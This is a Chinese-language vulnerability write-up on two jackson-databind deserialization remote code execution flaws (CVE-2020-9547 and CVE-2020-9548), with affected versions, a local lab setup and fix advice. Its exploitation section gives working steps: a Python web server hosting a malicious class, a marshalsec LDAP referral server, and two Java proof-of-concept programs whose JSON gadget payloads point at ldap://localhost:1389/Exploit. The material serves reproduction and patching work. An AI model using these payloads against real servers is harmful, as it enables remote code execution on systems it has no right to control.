CVE-2020-9547/CVE-2020-9548:FasterXML/jackson-databind 远程代码执行漏洞

0x00 简介

    jackson-databind 是 FasterXML 项目组下的JSON处理库

0x01 漏洞概述

2020年3月2日,发现jackson-databind为两例新的反序列化利用链申请了漏洞编号CVE-2020-9547和CVE-2020-9548。该漏洞影响jackson-databind对 JSON 文本的处理流程。攻击者利用特制的请求可以触发远程代码执行,攻击成功可获得服务器的控制权限(Web服务等级),该漏洞同时影响开启了autotype选项的fastjson。

0x02 影响版本

    jackson-databind < 2.10.0

0x03 环境搭建

新建MVN项目

CVE-2020-9547

pom.xml添加如下依赖

```    com.fasterxml.jackson.core    jackson-databind    2.9.10.3      org.apache.ibatis      ibatis-sqlmap      2.3.4.726      javax      javaee-api      8.0.1```

CVE-2020-9548

pom.xml依赖

```    com.fasterxml.jackson.core    jackson-databind    2.9.10.3      com.codahale.metrics      metrics-healthchecks      3.0.2      br.com.anteros      Anteros-Core      1.2.1      br.com.anteros      Anteros-DBCP      1.0.1```


0x04 漏洞利用1、在web服务器目录放上已经编译好的恶意类

这边使用simplehttp搭建web服务

python -m SimpleHTTPServer 8080

2、启动ldap服务

这边使用的是marshalsec。github链接:https://github.com/mbechler/marshalsec

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit

3、poc

CVE-2020-9547

import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Poc {    public static void main(String args[]) {        ObjectMapper mapper = new ObjectMapper();        mapper.enableDefaultTyping();        String json = "[\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\", {\"properties\": {\"UserTransaction\":\"ldap://localhost:1389/Exploit\"}}]";        try {            mapper.readValue(json, Object.class);        } catch (IOException e) {            e.printStackTrace();        }    }}

CVE-2020-9548

import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Poc {    public static void main(String args[]) {        ObjectMapper mapper = new ObjectMapper();        mapper.enableDefaultTyping();        String json = "[\"br.com.anteros.dbcp.AnterosDBCPConfig\", {\"healthCheckRegistry\": \"ldap://localhost:1389/Exploit\"}]";        try {            mapper.readValue(json, Object.class);        } catch (IOException e) {            e.printStackTrace();        }    }}

直接执行poc即可:

CVE-2020-9547

CVE-2020-9548

0x05 修复方式

1、更新jackson-databind到最新版本

2、排查项目中是否使用Anteros-Core和ibatis-sqlmap,将 Anteros-Core和ibatis-sqlmap移除可以缓解漏洞所带来的影响

你可能感兴趣的:(CVE-2020-9547/CVE-2020-9548:FasterXML/jackson-databind 远程代码执行漏洞)